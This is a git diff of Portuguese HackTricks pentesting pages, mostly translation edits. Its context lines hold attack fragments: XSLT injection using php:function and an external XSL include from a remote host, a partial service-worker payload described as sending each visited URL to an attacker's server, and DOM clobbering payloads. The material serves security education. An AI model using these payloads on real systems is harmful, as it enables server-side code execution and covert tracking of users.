* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -82,10 +82,10 @@ app.run(host='0.0.0.0', port=1337)
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Injeção de Servidor XSLT (Transformações de Linguagem de Folha de Estilo Extensível)
|
||||
# Injeção de Lado do Servidor XSLT (Transformações de Linguagem de Estilo Extensível)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -7,12 +7,12 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦** [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Informações Básicas
|
||||
## Informação Básica
|
||||
|
||||
XSLT é uma tecnologia utilizada para transformar documentos XML em diferentes formatos. Ele vem em três versões: 1, 2 e 3, sendo a versão 1 a mais comumente utilizada. O processo de transformação pode ser executado no servidor ou no navegador.
|
||||
|
||||
|
@ -238,7 +238,9 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
|||
<xsl:value-of select="php:function('readdir')"/> -
|
||||
</xsl:template></xsl:stylesheet>
|
||||
```
|
||||
### **Assert (var\_dump + scandir + false)**
|
||||
### **Assert (var_dump + scandir + false)**
|
||||
|
||||
### **Afirmar (var_dump + scandir + false)**
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
|
||||
|
@ -335,8 +337,6 @@ Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:sup
|
|||
</xsl:template>
|
||||
```
|
||||
## Incluir XSL externo
|
||||
|
||||
Outras maneiras de escrever arquivos no PDF
|
||||
```xml
|
||||
<xsl:include href="http://extenal.web/external.xsl"/>
|
||||
```
|
||||
|
@ -374,7 +374,7 @@ xmlns:php="http://php.net/xsl" >
|
|||
|
||||
**Nesta página você pode encontrar exemplos de RCE em outros idiomas:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
|
||||
|
||||
## **Acessar funções estáticas do PHP a partir de classes**
|
||||
## **Acessar funções estáticas PHP de classes**
|
||||
|
||||
A seguinte função chamará o método estático `stringToUrl` da classe XSL:
|
||||
```xml
|
||||
|
@ -412,7 +412,7 @@ version="1.0">
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Explorando os Trabalhadores de Serviço
|
||||
# Explorando os Service Workers
|
||||
|
||||
|
||||
|
||||
|
@ -9,7 +9,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -24,25 +24,25 @@ Encontre vulnerabilidades que são mais importantes para que você possa corrigi
|
|||
|
||||
## Informações Básicas
|
||||
|
||||
Um **trabalhador de serviço** é um script executado pelo seu navegador em segundo plano, separado de qualquer página da web, permitindo recursos que não requerem uma página da web ou interação do usuário, melhorando assim as capacidades de **processamento offline e em segundo plano**. Informações detalhadas sobre trabalhadores de serviço podem ser encontradas [aqui](https://developers.google.com/web/fundamentals/primers/service-workers). Ao explorar trabalhadores de serviço em um domínio da web vulnerável, os atacantes podem obter controle sobre as interações da vítima com todas as páginas dentro desse domínio.
|
||||
Um **service worker** é um script executado pelo seu navegador em segundo plano, separado de qualquer página da web, permitindo recursos que não requerem uma página da web ou interação do usuário, melhorando assim as capacidades de **processamento offline e em segundo plano**. Informações detalhadas sobre service workers podem ser encontradas [aqui](https://developers.google.com/web/fundamentals/primers/service-workers). Ao explorar service workers em um domínio da web vulnerável, os atacantes podem obter controle sobre as interações da vítima com todas as páginas dentro desse domínio.
|
||||
|
||||
|
||||
### Verificando Trabalhadores de Serviço Existente
|
||||
### Verificando a Existência de Service Workers
|
||||
|
||||
Trabalhadores de serviço existentes podem ser verificados na seção **Trabalhadores de Serviço** da aba **Aplicativo** nas **Ferramentas do Desenvolvedor**. Outro método é visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para uma visualização mais detalhada.
|
||||
Service workers existentes podem ser verificados na seção **Service Workers** da guia **Application** nas **Ferramentas do Desenvolvedor**. Outro método é visitar [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) para uma visualização mais detalhada.
|
||||
|
||||
### Notificações Push
|
||||
|
||||
As **permissões de notificação push** impactam diretamente a capacidade de um **trabalhador de serviço** de se comunicar com o servidor sem interação direta do usuário. Se as permissões forem negadas, isso limita o potencial do trabalhador de serviço de representar uma ameaça contínua. Por outro lado, conceder permissões aumenta os riscos de segurança ao permitir a recepção e execução de possíveis exploits.
|
||||
As **permissões de notificação push** impactam diretamente a capacidade de um **service worker** se comunicar com o servidor sem interação direta do usuário. Se as permissões forem negadas, isso limita o potencial do service worker de representar uma ameaça contínua. Por outro lado, conceder permissões aumenta os riscos de segurança ao permitir a recepção e execução de possíveis exploits.
|
||||
|
||||
## Ataque Criando um Trabalhador de Serviço
|
||||
## Ataque Criando um Service Worker
|
||||
|
||||
Para explorar essa vulnerabilidade, você precisa encontrar:
|
||||
|
||||
* Uma maneira de **carregar arquivos JS arbitrários** no servidor e um **XSS para carregar o trabalhador de serviço** do arquivo JS carregado
|
||||
* Uma **solicitação JSONP vulnerável** onde você pode **manipular a saída (com código JS arbitrário)** e um **XSS** para **carregar o JSONP com um payload** que irá **carregar um trabalhador de serviço malicioso**.
|
||||
* Uma maneira de **carregar arquivos JS arbitrários** no servidor e um **XSS para carregar o service worker** do arquivo JS carregado
|
||||
* Uma **solicitação JSONP vulnerável** onde você pode **manipular a saída (com código JS arbitrário)** e um **XSS** para **carregar o JSONP com um payload** que irá **carregar um service worker malicioso**.
|
||||
|
||||
No exemplo a seguir, vou apresentar um código para **registrar um novo trabalhador de serviço** que irá ouvir o evento `fetch` e **enviar para o servidor dos atacantes cada URL acessado** (este é o código que você precisaria **carregar** para o **servidor** ou carregar via uma resposta **JSONP vulnerável**):
|
||||
No exemplo a seguir, vou apresentar um código para **registrar um novo service worker** que irá ouvir o evento `fetch` e **enviar para o servidor dos atacantes cada URL acessada** (este é o código que você precisaria **carregar** no **servidor** ou carregar via uma resposta **JSONP vulnerável**):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
|
@ -127,7 +127,7 @@ Encontre vulnerabilidades que mais importam para que você possa corrigi-las mai
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Mais detalhes [**neste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
|
||||
|
||||
A técnica discutida aqui envolve entender o comportamento e a interação de dois tipos principais de cache: o **cache de avanço/volta (bfcache)** e o **cache de disco**. O bfcache, que armazena uma captura completa de uma página, incluindo o heap JavaScript, é priorizado sobre o cache de disco para navegações de avanço/volta devido à sua capacidade de armazenar uma captura mais abrangente. O cache de disco, por outro lado, armazena recursos buscados na web sem incluir o heap JavaScript e é utilizado para navegações de avanço/volta para reduzir os custos de comunicação. Um aspecto interessante do cache de disco é a inclusão de recursos buscados usando `fetch`, o que significa que os recursos de URL acessados serão renderizados pelo navegador a partir do cache.
|
||||
A técnica discutida aqui envolve entender o comportamento e a interação de dois tipos principais de cache: o **cache de avanço/volta (bfcache)** e o **cache de disco**. O bfcache, que armazena uma captura completa de uma página, incluindo o heap JavaScript, é priorizado sobre o cache de disco para navegações de avanço/volta devido à sua capacidade de armazenar uma captura mais abrangente. O cache de disco, por outro lado, armazena recursos obtidos da web sem incluir o heap JavaScript e é utilizado para navegações de avanço/volta para reduzir os custos de comunicação. Um aspecto interessante do cache de disco é a inclusão de recursos obtidos usando `fetch`, o que significa que os recursos de URL acessados serão renderizados pelo navegador a partir do cache.
|
||||
|
||||
### Pontos Chave:
|
||||
|
||||
|
@ -34,7 +34,7 @@ Por padrão, o Puppeteer desativa o bfcache, alinhando-se com as condições lis
|
|||
|
||||
A verificação de que o cache de disco foi utilizado pode ser confirmada através do uso do DevTools no Google Chrome.
|
||||
|
||||
Para mais detalhes sobre bfcache e cache de disco, as referências podem ser encontradas em [web.dev sobre bfcache](https://web.dev/i18n/en/bfcache/) e nos [documentos de design do Chromium sobre cache de disco](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), respectivamente.
|
||||
Para mais detalhes sobre bfcache e cache de disco, as referências podem ser encontradas em [web.dev sobre bfcache](https://web.dev/i18n/en/bfcache/) e nos [documentos de design do Chromium sobre cache de disco](https://www.chromium.org/developers/design-documents/network-stack/disk-cache), respectivamente.
|
||||
|
||||
|
||||
<details>
|
||||
|
@ -44,7 +44,7 @@ Para mais detalhes sobre bfcache e cache de disco, as referências podem ser enc
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,15 +4,15 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## **Fundamentos**
|
||||
## **Basics**
|
||||
|
||||
É possível gerar **variáveis globais dentro do contexto JS** com os atributos **`id`** e **`name`** em tags HTML.
|
||||
```html
|
||||
|
@ -54,7 +54,7 @@ Sobrescrever mais atributos é **mais complicado, mas ainda é possível**, usan
|
|||
<script>alert(x.y)//controlled</script>
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
A tag style é usada para **dar tempo suficiente ao iframe para ser renderizado**. Sem ela, você encontrará um alerta de **indefinido**.
|
||||
A tag style é usada para **dar tempo suficiente ao iframe para ser renderizado**. Sem ela, você verá um alerta de **indefinido**.
|
||||
{% endhint %}
|
||||
|
||||
Para sobrescrever atributos mais profundos, você pode usar **iframes com codificação html** desta forma:
|
||||
|
@ -65,7 +65,7 @@ Para sobrescrever atributos mais profundos, você pode usar **iframes com codifi
|
|||
alert(a.b.c.d.e)//controlled
|
||||
</script>
|
||||
```
|
||||
### **Burlar Filtro**
|
||||
### **Burlando Filtros**
|
||||
|
||||
Se um filtro está **iterando** pelas **propriedades** de um nó usando algo como `document.getElementByID('x').attributes`, você poderia **sobrescrever** o atributo **`.attributes`** e **quebrar o filtro**. Outras propriedades do DOM como **`tagName`**, **`nodeName`** ou **`parentNode`** e mais também são **sobrescritíveis**.
|
||||
```html
|
||||
|
@ -113,7 +113,7 @@ De acordo com a documentação, é possível sobrescrever atributos do objeto do
|
|||
|
||||
> A interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [suporta propriedades nomeadas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Os [nomes de propriedades suportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de um objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document em qualquer momento consistem no seguinte, em [ordem de árvore](https://dom.spec.whatwg.org/#concept-tree-order) de acordo com o elemento que os contribuiu, ignorando duplicatas posteriores, e com valores dos atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) vindo antes dos valores dos atributos name quando o mesmo elemento contribui com ambos:
|
||||
>
|
||||
> \- O valor do atributo de conteúdo name para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) e elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo name não vazio e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como seu [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \- O valor do atributo de conteúdo name para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) e [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo name não vazio e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como seu [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como seu [root](https://dom.spec.whatwg.org/#concept-tree-root);\
|
||||
> \
|
||||
|
@ -196,22 +196,22 @@ Click to send!
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
* Para mais atributos de formulário em [**botão, verifique isso**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||||
* Para mais atributos de formulário em [**botão, confira isso**](https://www.w3schools.com/tags/tag\_button.asp)**.**
|
||||
|
||||
## Referências
|
||||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
|
||||
* Heyes, Gareth. JavaScript for hackers: Aprenda a pensar como um hacker.
|
||||
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,19 +7,19 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
